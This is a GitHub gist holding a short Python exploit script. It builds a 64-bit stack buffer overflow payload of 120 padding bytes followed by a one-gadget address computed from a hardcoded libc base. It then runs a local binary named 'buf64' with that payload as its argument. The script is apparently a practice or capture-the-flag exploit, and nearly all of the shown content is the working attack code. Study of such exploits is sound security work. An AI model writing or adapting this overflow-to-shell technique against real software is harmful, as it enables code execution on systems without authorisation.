Created
March 7, 2018 19:58
-
-
Save ShivamShrirao/f63934ac8c2c191eb076a93d244a37cb to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from os import system | |
from struct import pack | |
junk='A'*120 | |
libc_base=0x00007ffff79f5000 | |
onegadget=pack("Q",libc_base+0xfccde) #gadget address | |
payload = junk + onegadget | |
with open("tmp","w") as f: | |
f.write(payload) | |
system("./buf64 `cat tmp`") #because of null bytes |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment